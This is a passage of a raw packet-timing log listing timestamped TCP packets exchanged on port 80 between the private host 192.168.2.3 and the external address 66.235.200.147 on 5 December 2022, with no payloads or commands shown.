Dec 5, 2022 06:44:31.188004017 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188025951 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188028097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188052893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188074112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188076973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188101053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188119888 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188124895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188148975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188169003 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188173056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188195944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188218117 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188224077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188267946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188586950 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188612938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188640118 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188659906 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188668013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188694000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188711882 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188718081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188741922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188760042 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188766956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188792944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188808918 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188817024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188842058 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188858986 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188865900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188890934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188906908 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188915968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188941002 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.188958883 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.188966036 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189007998 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189244986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189270020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189294100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189311028 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189343929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189367056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189384937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189409018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189414024 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189435005 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189436913 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189452887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189472914 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189497948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189503908 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189522028 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189528942 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189546108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189563036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189569950 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189594984 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189609051 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189619064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189642906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189656973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189666986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189691067 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189706087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189713955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189750910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.189755917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189779043 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.189815044 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.190206051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.190231085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.190249920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.190269947 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.192141056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.192162037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.192181110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.192198992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.192208052 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.192215919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.192224026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.192234993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.192265034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.220383883 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.220612049 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.237478018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237540960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237551928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.237584114 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237624884 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.237627029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237668991 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237710953 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.237710953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237755060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237796068 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.237798929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237840891 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237883091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237885952 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.237924099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.237965107 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.237966061 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238010883 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238051891 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238053083 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238095999 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238135099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238137007 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238178968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238219976 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238221884 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238262892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238303900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238305092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238346100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238388062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238389015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238431931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238472939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238473892 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238518953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238562107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238576889 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238601923 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238642931 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238642931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238684893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238725901 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238728046 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238768101 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238809109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238810062 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238854885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238920927 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.238926888 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.238970041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239017010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239020109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239058018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239099979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239104033 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239142895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239186049 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239188910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239226103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239267111 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239268064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239310026 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239350080 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239351034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239382029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239423037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239423990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239464045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239506006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239506960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239547968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239587069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239588976 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239630938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239671946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239672899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239712954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239754915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239762068 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239795923 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239839077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239845037 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239878893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239922047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.239923000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.239963055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240009069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240009069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240050077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240092993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240093946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240139008 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240190029 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240190983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240232944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240273952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240288019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240348101 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240391970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240401030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240433931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240475893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240477085 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240515947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240559101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240557909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240601063 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240643024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240645885 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240689039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240731001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240740061 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240772009 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240813017 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240818977 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240854025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240895033 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240900993 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.240936041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240978003 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.240987062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241023064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241064072 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241096973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241112947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241153955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241167068 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241195917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241236925 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241249084 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241278887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241322994 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241337061 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241362095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241405010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241410017 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241445065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241486073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241499901 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241528034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241569042 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241589069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241611004 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241655111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241694927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241695881 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241736889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241763115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241780043 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241821051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241838932 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241872072 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241913080 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.241930008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.241955042 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242002010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242037058 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242044926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242088079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242110968 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242131948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242172956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242191076 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242213964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242255926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242271900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242296934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242341042 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242369890 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242383957 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242425919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242439032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242482901 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242520094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242538929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242558956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242611885 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242639065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242677927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242714882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242728949 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242753029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242790937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242805958 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242830038 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242871046 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242918968 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.242929935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242966890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.242984056 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243007898 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243051052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243062019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243088961 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243129015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243139029 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243184090 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243189096 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243232965 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243243933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243303061 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243343115 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243393898 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243402958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243446112 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243458986 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243490934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243498087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243544102 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243546009 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243596077 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243601084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243655920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243662119 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243705034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243710995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243742943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243747950 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243782043 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243786097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243819952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243824959 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243858099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243863106 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243895054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243906975 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243933916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243943930 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.243973970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.243982077 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244015932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244020939 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244055986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244062901 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244093895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244097948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244131088 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244139910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244168997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244179010 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244208097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244220018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244249105 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244257927 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244290113 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244297028 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244328976 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244338036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244368076 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244379044 CET	49703	80	192.168.2.3	66.235.200.147
